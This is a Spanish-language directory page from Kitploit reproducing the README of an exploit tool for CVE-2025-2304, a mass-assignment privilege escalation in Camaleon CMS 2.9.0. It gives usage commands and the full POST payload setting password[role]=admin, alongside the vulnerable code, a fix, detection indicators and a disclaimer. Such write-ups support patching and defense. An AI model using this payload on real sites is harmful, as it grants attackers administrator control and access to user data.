Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-2304 — Este script de Python explota una vulnerabilidad crítica de asignación masiva en Camaleon CMS versión 2.9.0, permitiendo que cualquier usuario registrado escale sus privilegios a administrador. | Kitploit
Herramientas/GitHubGitHub/csuribird/cve-2025-2304
Autenticación y AutorizaciónEscalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónMala ConfiguraciónAprendizaje y Educación
GitHubcsuribird/cve-2025-2304

CVE-2025-2304

Este script de Python explota una vulnerabilidad crítica de asignación masiva en Camaleon CMS versión 2.9.0, permitiendo que cualquier usuario registrado escale sus privilegios a administrador.

51hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

CVE-2025-2304 - Camaleon CMS 2.9.0 - Exploit de Escalada de Privilegios

Resumen

Este script Python explota una vulnerabilidad crítica de asignación masiva (mass assignment) en Camaleon CMS versión 2.9.0, permitiendo a cualquier usuario registrado escalar sus privilegios a administrador.

Detalles de la Vulnerabilidad

  • CVE: CVE-2025-2304 - Asignación Masiva en UsersController#updated_ajax
  • Versión Afectada: Camaleon CMS 2.9.0
  • Gravedad: Crítica
  • Vector: El método permit! en la acción updated_ajax permite que todos los parámetros pasen sin filtrar, incluido el parámetro role

Cómo Funciona el Exploit

  1. Autenticación: El script primero inicia sesión como un usuario registrado normal
  2. Explotación: Envía una solicitud POST a /admin/users/[id]/updated_ajax con un payload malicioso: (En el script usé el id 5, ya que normalmente es el asignado automáticamente. Podría ser necesario cambiarlo.)
    • password[role]=admin - Este parámetro debería ser filtrado, pero no lo es debido a permit!
    • password[password] y password[password_confirmation] - Actualiza la contraseña del usuario (Cuando un usuario normal con rol cliente actualiza su perfil, técnicamente es user[role]=client, pero como estamos explotando la vulnerabilidad resultante de la funcionalidad de cambiar contraseña, será password[role]=admin.)
  3. Escalada de Privilegios: El rol del usuario cambia de usuario normal a administrador
  4. Verificación: El script intenta acceder a endpoints solo para administradores para confirmar el éxito

Instalación

root@kitploit:~
pip install -r requirements.txt

Uso

root@kitploit:~
python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword

Parámetros Opcionales

  • --new-password: Establecer una nueva contraseña durante la explotación (por defecto usa la contraseña actual)

Ejemplo

root@kitploit:~
python camaleon_cms_privilege_escalation.py \
    --url http://192.168.1.100 \
    --username testuser \
    --password testpass123 \
    --new-password newadminpass

Detalles Técnicos

Ubicación del Código Vulnerable

La vulnerabilidad existe en el método updated_ajax del UsersController:

root@kitploit:~
def updated_ajax
  # Código vulnerable - usa permit! en lugar de filtrado específico de parámetros
  @user.update(params.require(:user).permit!)
  # Esto permite que CUALQUIER parámetro sea asignado masivamente, incluido role
end

Payload Malicioso

root@kitploit:~
POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded

password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch

Respuesta Esperada

root@kitploit:~
{
  "success": true,
  "message": "User updated successfully"
}

Impacto

  • Escalada de Privilegios: Los usuarios normales pueden obtener acceso de administrador
  • Compromiso Total del Sistema: El acceso de administrador permite el control completo sobre el CMS
  • Filtración de Datos: Acceso a todos los datos de usuarios y contenido
  • Persistencia: Capacidad de crear puertas traseras y mantener el acceso

Mitigación

Para Desarrolladores

Reemplazar el vulnerable método permit! con un filtrado explícito de parámetros:

root@kitploit:~
def updated_ajax
  @user.update(params.require(:user).permit(:password, :password_confirmation, :email))
  # Excluir explícitamente: parámetro role
end

Para Administradores de Sistemas

  1. Actualizar a una versión parcheada de Camaleon CMS (2.9.1)
  2. Implementar controles de acceso basados en roles
  3. Agregar validación de entrada y filtrado de parámetros
  4. Monitorear intentos sospechosos de escalada de privilegios

Aviso Legal

Este script es solo para fines educativos y de pruebas de seguridad autorizadas. Por favor, no utilice este exploit en sistemas que no posea o para los que no tenga permiso explícito para probar. El autor no se hace responsable por el mal uso o los daños causados por esta herramienta.

Detección

Los equipos de seguridad pueden detectar intentos de explotación monitoreando:

  • Solicitudes POST a /admin/users/[id]/updated_ajax con el parámetro password[role]
  • Cambios inesperados de rol en cuentas de usuario
  • Patrones de escalada de privilegios en registros de auditoría

Referencias

  • Documentación sobre Vulnerabilidades de Asignación Masiva
  • Guías de Seguridad de Ruby on Rails
  • Avisos de Seguridad de Camaleon CMS
Descargar herramienta